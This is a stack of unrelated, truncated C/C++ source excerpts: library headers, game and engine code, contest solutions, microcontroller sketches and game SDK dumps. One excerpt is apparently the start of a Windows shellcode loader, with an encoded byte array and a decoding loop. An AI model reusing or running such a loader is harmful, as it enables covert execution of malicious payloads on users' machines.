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/*================================================================================ code generated by: java2cpp author: Zoran Angelov, mailto://baldzar@gmail.com class: android.os.Handler ================================================================================*/ #ifndef J2CPP_INCLUDE_IMPLEMENTATIO...
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#include <SDL2/SDL_image.h> #include "RendererManager.h" RendererManager::RendererManager() : _renderer(nullptr) { } RendererManager::~RendererManager() { if (_renderer != nullptr) { cleanUp(); } printf("..renderer manager destroyed\n"); } bool RendererManager::init(Window& window) { _window...
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// Copyright 2013 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef V8_CRANKSHAFT_TYPING_H_ #define V8_CRANKSHAFT_TYPING_H_ #include "src/allocation.h" #include "src/ast.h" #include "src/effects.h" #include "src...
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#include <iostream> #include <string> #include "console.h" namespace DMK { void Console::print(FastString line) { printf("%s", line.c_str()); } void Console::println(FastString line) { printf("%s\n", line.c_str()); } FastString Console::getLine() { std::string _temp; std::getline(std::cin, _temp, '\n');...
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static int default_refs; static void fsck_handle_reflog_sha1(unsigned char *sha1) { struct object *obj; if (!is_null_sha1(sha1)) { obj = lookup_object(sha1); if (obj) { obj->used = 1; mark_object_reachable(obj); } } } static int fsck_handle_reflog_ent(unsigned char *osha1, unsigned char *nsha1, con...
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//----------------------------------------------- // // This file is part of the Siv3D Engine. // // Copyright (c) 2008-2017 Ryo Suzuki // Copyright (c) 2016-2017 OpenSiv3D Project // // Licensed under the MIT License. // //----------------------------------------------- # include <Siv3D/Color.hpp> # include <Siv3D/H...
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// This file was generated based on 'C:\ProgramData\Uno\Packages\UnoCore\0.1.0\Source\Uno\UX\$.uno'. // WARNING: Changes might be lost if you edit this file directly. #include <app/Fuse.Triggers.State.h> #include <app/Uno.Bool.h> #include <app/Uno.Exception.h> #include <app/Uno.UX.Property__Fuse_Triggers_State.h> nam...
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class Solution { public: bool isScramble(string s1, string s2) { if(s1.size()!=s2.size()) return false; int N=s2.size(); bool f[N+1][N][N]; fill_n(&f[0][0][0], (N+1)*N*N, false); for(int i=0;i<N;i++) { for(int j=0;j<N;j++) f[1][i][j]=s1[i]==s2[j]; } ...
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/* * * Copyright (C) 2000-2011, OFFIS e.V. * All rights reserved. See COPYRIGHT file for details. * * This software and supporting documentation were developed by * * OFFIS e.V. * R&D Division Health * Escherweg 2 * D-26121 Oldenburg, Germany * * * Module: dcmsr * * Author: Joerg Riesme...
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#pragma once #include <fstream> #include "shared.h" class GameBoyApu; struct WaveChannelState { bool enabled; s8 output; // internal counter for frequency u16 timer; // internal volume level (loaded from volume envelope) u8 volume; // Sound length (0 to 256) u16 length; // Whe...
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//a simple picture question but at first i forget to creat a big enough index #include <cstdio> #include <fstream> #include <algorithm> #include <cstring> #include <fstream> #include <algorithm> #include <cstdio> using namespace std; const int mx = 500000, one_cost = 10000; int n, m, r, father[mx + 3]; struct no { ...
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// // ******************************************************************** // * License and Disclaimer * // * * // * The Geant4 software is copyright of the Copyright Holders of * // * the Geant4 Collaboration...
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/* Automatic water with solenoid valves. This goes to one plant at the time. So it works like this: Reads a plant moisture, if its below StartwateringPlant moisture it will set a flag that this plant is dry, and then it will water for the WateringtimePlant period. Then it stops watering and goes on to the next plan...
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#ifndef STOVE2_TEMPERATURE_SET_H #define STOVE2_TEMPERATURE_SET_H #include <QDialog> #include <QtSerialPort/QSerialPort> #include <QTime> #include <QApplication> namespace Ui { class Stove2_Temperature_Set; } class Stove2_Temperature_Set : public QDialog { Q_OBJECT public: explicit Stove2_Temperature_Set(QW...
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#pragma once #include "components/Component.hpp" #include <cstdint> #include <initializer_list> #include <unordered_set> // -------------------------------------------------------------- // // Identifies which inputs are active. // // -------------------------------------------------------------- namespace component...
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/* ** ClanLib SDK ** Copyright (c) 1997-2013 The ClanLib Team ** ** This software is provided 'as-is', without any express or implied ** warranty. In no event will the authors be held liable for any damages ** arising from the use of this software. ** ** Permission is granted to anyone to use this software for a...
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#include <pthread.h> #include <semaphore.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <ctime> #define N 5 #define THINKING 2 #define HUNGRY 1 #define EATING 0 #define LEFT (phnum + 4) % N #define RIGHT (phnum +1) % N int state[N]; int phil[N] = { 0, 1, 2, 3, 4}; sem_t mutex; sem_t S[N]; vo...
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#pragma once // SeaOfThieves (1.6.4) SDK #ifdef _MSC_VER #pragma pack(push, 0x8) #endif namespace SDK { //--------------------------------------------------------------------------- //Classes //--------------------------------------------------------------------------- // BlueprintGeneratedClass BP_fod_BananaFresh...
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/******************************************************************************* * Copyright (c) 2012, Dougal J. Sutherland (dsutherl@cs.cmu.edu). * * All rights reserved. * * ...
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#include <iostream> #include <sstream> #include <iomanip> #include <fcntl.h> #include <fstream> #include <google/protobuf/text_format.h> #include <google/protobuf/io/zero_copy_stream_impl.h> #include "onnx.pb.h" #include <string.h> #include <stdio.h> #include <math.h> #include <sys/types.h> #include <sys/stat.h> int c...
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// // Created by root on 17-11-20. // #ifndef DESIGNPATTERN_ADAPTER_H #define DESIGNPATTERN_ADAPTER_H //适配器模式 class Target //目标标准接口 { public: Target(); virtual ~Target(); virtual void Request(); protected: private: }; class Adaptee //被适配类 { public: Adaptee(); ~Adaptee(); void SpecificReques...
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/* * Copyright 2012 The WebRTC Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing ...
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#ifndef _INCLUDED_WINDOW #define _INCLUDED_WINDOW #include <glm/glm.hpp> class Window { protected: void *window_ptr, *monitor_ptr; int window_width, window_height; double last_mouse_x, last_mouse_y; bool grab_cursor, did_init; double fov; double cursor_scale_x, cursor_scale_y; bool in_full...
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// // Copyright(c) 2018 Gabi Melman. // Distributed under the MIT License (http://opensource.org/licenses/MIT) // #pragma once // // Async logging using global thread pool // All loggers created here share same global thread pool. // Each log message is pushed to a queue along withe a shared pointer to the // logger...
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// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CONTENT_PUBLIC_COMMON_SERVICE_INFO_H_ #define CONTENT_PUBLIC_COMMON_SERVICE_INFO_H_ #include <memory> #include "base/callback.h" #include "base/...
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#pragma once #include "cMyDefine.h" #include "cMyInclude.h" template <class T> class cSingleton { protected: cSingleton() { } virtual ~cSingleton() { } public: static T* getinstance() { if (Instance == NULL) Instance = new T; return Instance; } static void DestroyInstance() { SAFE_DELETE(Instance)...
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#include <bits/stdc++.h> using namespace std; string s; vector<string> whites, blacks; char grid[17][34]{ "+---+---+---+---+---+---+---+---+", "|...|:::|...|:::|...|:::|...|:::|", "+---+---+---+---+---+---+---+---+", "|:::|...|:::|...|:::|...|:::|...|", "+---+---+---+---+---+---+---+---+", "|.....
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/********************************************************************** * LeechCraft - modular cross-platform feature rich internet client. * Copyright (C) 2006-2014 Georg Rudoy * * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE or copy at https://www.boost.org/LICENSE...
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/* * Copyright 2022 Google LLC * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "src/core/SkShaderCodeDictionary.h" #include "include/core/SkCombinationBuilder.h" #include "include/effects/SkRuntimeEffect.h" #include "include/private/SkSLString.h...
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/*============================================================================== ofxVisualProgramming: A visual programming patching environment for OF Copyright (c) 2018 Emanuele Mazza aka n3m3da <emanuelemazza@d3cod3.org> ofxVisualProgramming is distributed under the MIT License. This gives everyon...
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//================================================================================================== /*! Copyright 2016 NumScale SAS Copyright 2016 J.T Lapreste Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt) */ //======...
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/* ---------------------------------------------------------------------------------- KEME-Contabilidad; aplicación para llevar contabilidades Copyright (C) José Manuel Díez Botella Este programa es software libre: usted puede redistribuirlo y/o modificarlo bajo los términos de la Licencia Pública G...
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#include "IntroSence.h" #include "MenuSence.h" #include "SoundManager.h" IntroSence::IntroSence(Game* game, int timeAni) :GameSence(game, timeAni) { _timeAni = 1000; _startTime = GetTickCount(); _stopUpdate = false; } IntroSence::~IntroSence(void) { } void IntroSence::_Load() { } // nhan 1 lan void IntroSence::...
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#include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include "il2cpp-class-internals.h" #include "codegen/il2cpp-codegen.h" extern const Il2CppType Type_t_0_0_0; extern const Il2CppType Byte_t1134296376_0_0_0; extern const Il2CppType IAchievementDescription_t2514...
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#include <iostream> #include <string> using namespace std; int main() { int hexDigitToBinary[22] = {0, 1, 10, 11, 100, 101, 110, 111, 1000, 1001, 1010, 1011, 1100, 1101, 1110, 1111, 1010, 1011, 1100, 1101, 1110, 1111}; char hexDigits[22] = {'0', '1', '2', '3', '4', '5', '6', '7', '8',...
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// // Chess.cpp // Chessgame // // Created by Daniel Mora on 10/6/15. // Copyright © 2015 Daniel Mora. All rights reserved. // #include "Chess.h" Chess::Chess() //Creates board { chessboard[0][0] = "\u265C"; chessboard[0][1] = "\u265E"; chessboard[0][2] = "\u265D"; chessboard[0][3] = "\u265B"; ...
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// Always include glew before freeglut #include <iostream> #include <vector> #include "GL\glew.h" #include "GL\freeglut.h" #include "ShaderManager.h" #include "Maths.h" #include "Object.h" #include "Triangle.h" #include "Quads.h" using namespace std; ShaderManager* programs; vector<Object*> myOb...
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#include <emitter/light.hpp> CAFEL_NAMESPACE_BEGIN void Light::generateCode(std::ostringstream &oss) { Emitter::generateCode(oss); oss << "void main(){" << std::endl << " FragColor = vec4("<< 1.0 << "," << 1.0 << "," << 1.0 << ",1.0);" << std::endl << "}" << std::endl; } CAFEL_NAMESPACE_END
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#include "stdafx.h" #include "Bullet.h" Bullet::Bullet(float x, float y, float angle, float speed) : m_Position({x, y}), m_Speed(speed), m_Angle(angle) { m_IsReverse = m_Speed < 0; m_Texture = _Texture->LoadTexture("Bullet", L"../_Resources/Bullet.png" ); } Bullet::~Bullet() { } bool Bullet::...
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/* * Copyright (c) 2010 WiYun Inc. * Author: luma(stubma@gmail.com) * * For all entities this program is free software; you can redistribute * it and/or modify it under the terms of the 'WiEngine' license with * the additional provision that 'WiEngine' must be credited in a manner * that can be be observe...
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/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 ...
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class Solution { public: string reverseWords(string s) { string ans,tmp; for(int i=0;i<=s.size();i++) { if(i==s.size()||s[i]==' ') { for(int j=tmp.size()-1;j>=0;j--) ans+=tmp[j]; if(i!=s.size()) ans+=...
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/* * Copyright (c) 2006-2009 Erin Catto http://www.box2d.org * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * Permission is granted to anyone to use this software for any purpos...
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#include <iostream> using namespace std; void print_matrix(const int *k, size_t columns, size_t rows) { for (int i=0;i<rows;i++) { for (int j=0;j<columns;j++) { cout << k[i*columns+j] << " "; } cout << endl; } } int* max_element(const int *k, size_t columns, size_t rows) { int *max_el = n...
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#include <torch/nn/cursor.h> #include <torch/nn/module.h> #include <torch/csrc/autograd/variable.h> #include <algorithm> #include <cstdint> #include <queue> #include <string> #include <vector> namespace torch { namespace detail { // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CursorBase::Item ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ templ...
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//----------------------------------------------------------------------------- // boost mpl/insert_range_fwd.hpp header file // See http://www.boost.org for updates, documentation, and revision history. //----------------------------------------------------------------------------- // // Copyright (c) 2000-02 // Aleks...
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#include<bits/stdc++.h> using namespace std; #define ll long long int main(){ ll n; while(1){ cin>>n; if(n==0){ break; } ///just has to check n is a perfect square or not? because all of the perfect square only ///has odd number of factors. and if number of factors is odd then it will be on. ll xx= sqr...
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// Copyright (c) 2011-2015 The Bitcoin Core developers // Copyright (c) 2014-2017 The Dash Core developers // Copyright (c) 2017-2018 The Cerberus Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "utility...
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class request{ string xx; }; class response{ string result; }; response callRpc(request x){ } Nprotocol np(transportSharedPtr); string tmp; np.readMessageBegin(tmp); np.readMessageEnd(); np.readFieldBegin(tmp); np.readFieldEnd(); if (tmp == "result"){ np.readString(tmp); resp.result = tmp; }
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// Copyright Michael Heilmann 2016, 2017. // // This file is part of Idlib. // // Idlib is free software: you can redistribute it and/or modify it // under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later versi...
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//daily0307 /************************************************************************/ /* unique_ptr对于数组资源的管理和自定义析构函数的管理,都与 shared_ptr不太一样 */ /************************************************************************/ #include <iostream> #include <memory> #include <functional> #include <string> #include <utility> ...
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/****************************** * * Namespace for all Non-specific class definitions */ #include <iostream> #include <ctime> #include "../../namespace.h" #include "../../camera/camera.h" using namespace std; namespace noble { class Video { public: Video(Camera, int); int duration(); int ...
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#include "Camera.h" Camera::Camera(float x, float y, float z, float camera_rotation, float FOV, float winWidth, float winHeight, float nearClip, float farClip) { // Initialising the position values m_x = x; m_y = y; m_z = z; // Initialising the camera's rotational radians m_camera_rotation_x = XMConvertToRadian...
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//#include <fstream> //#include <sstream> #include <iostream> #include <string> #include <bcm2835.h> #include "mcp4921.h" using namespace std; mcp4921 mcp; int main() { string line; while(1) { printf("Enter level: 0-4095: "); try { getline(cin, line); int level = stoi(line); if(level<0 || level >...
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#using <System.dll> using namespace System; using namespace System::Diagnostics; int main() { //<Snippet1> if ( !PerformanceCounterCategory::Exists( "Orders" ) ) { CounterCreationData^ milk = gcnew CounterCreationData; milk->CounterName = "milk"; milk->CounterType = PerformanceCounterTy...
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#include <iostream> #include <string> #include <unordered_map> #include <sstream> #include <algorithm> #include <vector> using namespace std; class Tree{ public: string rule; pair<string,string> token; vector<Tree> children; }; void prePrint(Tree t){ if(t.rule == "") { cout << t.token.first ...
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#include "ceaser.h" #include "replace.h" #include <iostream> #include <string> #include <cppunit/TestCaller.h> #include <cppunit/ui/text/TextTestRunner.h> using namespace std; class CreapterTest:public CppUnit::TestFixture { private: Ceaser * ceaser; Replace * replace; public: void setUp() // Положительные тес...
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/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required...
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/* make standard output line buffered */ if (setvbuf(stdout, NULL, _IOLBF, 0) != 0) return 1; /* parse command line arguments */ for (i = 1; i < argc; i++) { if (strcmp(argv[i], "-d") == 0) { debug = 1; continue; } /* the next options require an ...
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#include "GameRenderObject.h" void GameRenderObject::Draw(sf::RenderWindow* renderWindow) { }
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#define WIN32_LEAN_AND_MEAN #include <stdlib.h> #include <stdio.h> #include <string.h> #include <windows.h> int main(int argc, char* argv[]) { unsigned char shellcode[] = "\x20\xf8\x4b\x00\x00\x48\x8d\x05\x1a\x00\x00\x00\x48\xc7\xc3\xd7\x4b\x00\x00\x8a\x54\x18\xff\x80\xc2\x1a\x88\x54\x18\xf...
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#pragma once #include "Core/Core/Core.h" #include "Core/Core/Window.h" #include "LayerStack.h" #include "Core/Events/Event.h" #include "Core/Events/ApplicationEvent.h" #include "Core/ImGui/ImGuiLayer.h" namespace ProjectEngine { class Application { public: Application(); virtual ~Application(); void Run();...
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// Sequence Ver002 // Pin connections: // A5 -> SCL // A4 <-> SDA // D10(RX) <- TX // D11(TX) -> RX // GND <-> GND #include <SoftwareSerial.h> #include <Wire.h> #define ENABLE_DEBUG_OUT // compile switch to show debug information(UART command) // main loop #define DELAY_MS 10 #define WAIT_BODY_MS 30 /...
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#include <iostream> #include "opencv2/opencv.hpp" #include <stdio.h> using namespace std; using namespace cv; void salt(Mat &img,int n) { } int main() { cout << rand() << endl << rand() << endl<<rand() << endl; waitKey(0); return 0; }
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#pragma once // TheOuterWorlds SDK #ifdef _MSC_VER #pragma pack(push, 0x8) #endif #include "Indi_CabinetContainer_A_BP_structs.hpp" namespace SDK { //--------------------------------------------------------------------------- //Classes //--------------------------------------------------------------------------- ...
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#include "data.h" Data::Data() { } Data::~Data() { } unsigned int Data::getID() const { return m_ID; } void Data::setID(unsigned int ID) { m_ID = ID; } QString Data::getName() const { return m_name; } void Data::setName(const QString &name) { m_name = name; }
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//----------------------------------------------------------------------------- // File: graphicsexpandcollapseitem.h //----------------------------------------------------------------------------- // Project: Kactus 2 // Author: Antti Kamppi // Date: 15.10.2012 // // Description: // This item provides an expan...
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#include "icall_cs_generator.h" #include "generator_helpers.h" #include "type_system.h" #include "type_mapper.h" #include "EASTL/sort.h" namespace { static constexpr const char* basic_csproj = R"raw( <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <TargetFramework>netstandard2.1</TargetFramework>...
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#include "student.h" // securityStudent publicly inheriting Student class securityStudent : public Student { private: Degree degreeType; public: securityStudent(string studentID, string firstName, string lastName, string emailAddress, int studentAge, vector<int> daysToComplete, Degree degreeType) : Student(studen...
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#include <iostream> #include <stdio.h> #include <math.h> #include <map> #include <vector> #include <stdlib.h> #include <memory.h> #include <time.h> #include <string> #include <algorithm> #include <set> #include <stack> #include <cassert> #include <queue> #include <numeric> #define slld(x) scanf("%lld",&x...
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template<typename Iterator,typename MatchType> Iterator parallel_find(Iterator first,Iterator last,MatchType match) { struct find_element { void operator()(Iterator begin,Iterator end, MatchType match, std::promise<Iterator>* result, ...
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bool checkSD() { if (!card.init(SPI_HALF_SPEED, sd_card_cs_pin)) { return false; } else { if (!SD.begin(sd_card_cs_pin)) return false; else return true; } } uint32_t sd_volume() { if (!checkSD()) { //Serial.println("Initialization failed."); return 0; } if (!volume.init(c...
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#ifndef NES_CPU_INSTRUCTION_OP_PHA_HPP #define NES_CPU_INSTRUCTION_OP_PHA_HPP #include "cpu_instruction_base.hpp" namespace nes { class CPU; /** * Push accumulator */ class CpuInstructionOpPHA : public CpuInstructionBase { public: /** * Create a new PHA instruction * @param cpuRef Reference to th...
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#ifndef INCLUDED_SUNABA_NETWORK_SOCKET_H #define INCLUDED_SUNABA_NETWORK_SOCKET_H namespace Sunaba{ //シングルスレッド前提。ノンブロッキング転送のみ行える。 //接続待ちソケットと、接続そのもののソケットの区別があるが、このレベルではクラスは同一とする。 class Socket{ public: static void beginSystem(); static void endSystem(); Socket(); //空 Socket(int port); //サーバソケット生成。liste...
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/* Sort an array A using Quick Sort. Change in the input array itself. So no need to return or print anything. Input format : Line 1 : Integer n i.e. Array size Line 2 : Array elements (separated by space) Output format : Array elements in increasing order (separated by space) Constraints : 1 <= n <= 10^3 Sample Inpu...
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// Copyright 2013 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef V8_LIBPLATFORM_WORKER_THREAD_H_ #define V8_LIBPLATFORM_WORKER_THREAD_H_ #include <queue> #include "src/base/macros.h" #include "src/base/platf...
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#ifndef MYWIDGET_H #define MYWIDGET_H #include <QWidget> namespace MYAPP { class MyWidget : public QWidget { Q_OBJECT public: MyWidget(QWidget *parent = 0); //MyWidget(const MyWidget &M); virtual ~MyWidget(void) {}; // virtual //const MyWidget & operator = (const MyWidget & M); // assignme...
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#ifndef POINT_H #define POINT_H #include<iostream> using namespace std; class point { public: point(); point(float a,float b); void setpoint(float a,float b); ~point(); void showpoint(); float x() const; float y() const; void setX(float x); void setY(float y); private: float ...
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// ============================================================================ // __ // \\__/ o\ (C) 2012-2017 Robert Finch, Waterloo // \ __ / All rights reserved. // \/_// robfinch<remove>@finitron.ca // || // // C64 - 'C' derived language compiler // - 64 bit CPU // // This source...
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#include "BaseLib/GL4U/GL_Material.h" #include "BaseLib/GL4U/GL_Texture.h" namespace mg { GL_Material::GL_Material() { diffuse_color_.set (1.0f, 1.0f, 1.0f, 1.0f); specular_color_.set(0.5f, 0.5f, 0.5f, 1.0f); ambient_color_.set (1.0f, 1.0f, 1.0f, 1.0f); emission_color_.set(1.0f, 1.0f, 1.0f, 1.0f); shinines...
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/* * MIT License * * Copyright (c) 2021 David P. Sicilia (dpacbach) * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without re- * striction, including without limitation the rights ...
[ "dpsicilia@gmail.com" ]
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#include <iostream> using namespace std; int main(){ float arreglo1[3][3], arreglo2[3][3], mres[3][3], acu=0; cout<<"programa que multiplica matrices de 3x3"<<endl; cout<<"para la matriz 1 dame los sig datos"<<endl; for(int i=0; i<3; i++){ for(int j=0; j<3; j++){ cout<<"dame el dato de la fila "<<j+1<<" de l...
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#include "FolderLogger.h" #include <utility> #include "../../Data/Zip.h" using namespace Debug::Loggers; FolderLogger::FolderLogger(std::string outDir, size_t espLen) : m_outDir(std::move(outDir)), m_espLen(espLen) { } FolderLogger::~FolderLogger() = default; bool FolderLogger::Log(PTR ptr, DWORD exCode, PCONTEXT ...
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/************************************************************************* >>> Author: WindCry1 >>> Mail: lanceyu120@gmail.com >>> Website: https://windcry1.com >>> Date: 8/9/2019 10:31:27 PM *************************************************************************/ #include<cstring> #include<cmath> #include<cstdio> #i...
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#include <avr/io.h> #include <util/delay.h> #include "spiSoft.h" #define SS_PIN PB4 //or LATCH_PIN or select slave spiSoft SPI; int main() { //dpin lpin SPI.begin(&DDRB, &PORTB, &PINB, PB1, PB2); DDRB |= (1 << SS_PIN); PORTB |= (1 << SS_PIN); //set latch pin low when transf...
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// This file is automatically generated at compile-time to include some subset of the user-created cpp files. #include "F:/UE4Source/UnrealEngine-release/Engine/Plugins/Lumin/MagicLeap/Source/MagicLeapEyeTracker/Private/MagicLeapEyeTrackerModule.cpp" #include "F:/UE4Source/UnrealEngine-release/Engine/Plugins/Lumin/Magi...
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#include <bits/stdc++.h> #define x first #define y second #define pb push_back #define all(x) (x).begin(), (x).end() #define rall(x) (x).rbegin(), (x).rend() using namespace std; typedef long long ll; typedef pair<int, int> pii; typedef pair<ll, ll> pll; int main() { ios_base::sync_with_stdio(false); cin.tie(...
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#include "caffe2/quantization/server/group_norm_dnnlowp_op.h" #include <algorithm> #include <array> #include <cmath> #include <cstring> #ifdef _OPENMP #include <omp.h> #endif #include "caffe2/utils/eigen_utils.h" #include "caffe2/utils/math.h" namespace caffe2 { namespace { template <typename T> void SegmentMomen...
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#include <bits/stdc++.h> using namespace std; #define REP(i,n) for(int i=0, i##_len=(n); i<i##_len; ++i) #define all(x) (x).begin(),(x).end() using ll = long long; using P = pair<int, int>; string char_to_string(char val) { return string(1, val); } int char_to_int(char val) { return val - '0'; } template<class T> ...
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/** * Autogenerated by Thrift * * DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING * @generated */ #include "thrift/compiler/test/fixtures/basic-stack-arguments/gen-cpp2/MyService.h" #include "thrift/compiler/test/fixtures/basic-stack-arguments/gen-cpp2/MyService.tcc" #include <thrift/lib/cpp2/p...
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#include <iostream> using namespace std; int main() { int a; cout<<"2orontoi buhel too oruul:"; cin>>a; cout<<"tsifruudiin urjwer:"<<a/10*a%10; // your code here return 0; }
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#include<bits/stdc++.h> using namespace std; int n; long long k; long long pos[1010]; int main() { scanf("%d %lld",&n,&k); for( int i = 0 ; i < n ; i++ ){ scanf("%lld",&pos[i]); } sort( pos, pos + n ); long long l = 0, r = 320000000; while( l < r ){ long long mid = ( l + r ) / 2...
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// Created by Hz Yang on 2019.03 #include <bits/stdc++.h> using namespace std; const int M = 1e3 + 10; const double eps = 1e-6, INF = 1e10;//eps用于保证浮点数精度 typedef pair<double, double> PDD; int n, R; PDD segs[M];//存储从岛屿x,y坐标转化得到的线段范围 int main() { bool success = true; cin >> n >> R; for (int i = 0; i < n; ++i) { in...
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#include <bits/stdc++.h> #include <iostream> using namespace std; typedef long long ll; typedef long long unsigned llu; int main() { int n, k; cin >> n >> k; vector<int> vec(n); for (auto &i : vec) cin >> i; int zeroesCnt = 0, i = 0, ans = 0; for (int j = 0; j < vec.size(); j++) ...
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#include <iostream> #include <algorithm> #include <fstream> #include <cmath> #include "agents.h" #define PI 3.14159 void agent::updatePrey() { std::vector<double> inputs; std::vector<double> inputs_food; std::vector<double> outputfood_values; // std::vector<double> inputs_food; if (input_agent.si...
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#include "SimulationBase.h" #include"gl/glut.h" SimulationBase::SimulationBase(): m_SenceWidth(400), m_SenceHeight(400) { } SimulationBase::~SimulationBase() { } void SimulationBase::OutPut(std::fstream & out_file) { } void SimulationBase::OffsetDraw(float x, float y) { x /= m_SenceWidth; y /= m_SenceHeight; x ...
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--- src/zm_utils.cpp.orig 2021-11-28 23:56:36 UTC +++ src/zm_utils.cpp @@ -224,8 +224,9 @@ void HwCapsDetect() { #elif defined(__arm__) // ARM processor in 32bit mode // To see if it supports NEON, we need to get that information from the kernel - unsigned long auxval = getauxval(AT_HWCAP); - if (auxval & HWCA...
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/* Liam - DIY Robot Lawn Mower Error Handler Library ====================== Licensed under GPLv3 ====================== */ #include <Arduino.h> #include <Wire.h> // For LCD #include "Controller.h" #ifndef _ERROR_H_ #define _ERROR_H_ #define ERROR_OUTSIDE 1 #define ERROR_OVERLOAD 2 #define ERROR_TILT 3 #defi...
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// https://leetcode.com/problems/frog-jump/ /* A frog is crossing a river. The river is divided into x units and at each unit there may or may not exist a stone. The frog can jump on a stone, but it must not jump into the water. Given a list of stones' positions (in units) in sorted ascending order, determine if the f...
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